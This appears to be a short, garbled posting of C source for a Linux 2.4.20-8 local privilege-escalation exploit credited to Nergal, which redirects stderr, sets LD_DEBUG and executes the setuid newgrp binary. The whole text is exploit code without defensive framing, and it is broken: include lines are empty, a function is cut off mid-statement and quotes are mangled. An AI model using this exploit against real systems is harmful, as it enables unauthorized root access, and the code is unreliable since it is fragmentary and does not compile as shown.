Linux l2.4.20-8 #溢出

/* by Nergal */ #include #include #include #include void ex_passwd(int fd) { char z; if (read(fd, &z, 1) 0); if (n < 0) perror(“read”); exit(0); default:; } close(pipa[0]); dup2(pipa[1], 2); close(pipa[1]); /* Decrystallizing reason */ setenv(“LD_DEBUG”, “libs”, 1); /* With strength I burn */ execl(“/usr/bin/newgrp”, “newgrp”, 0);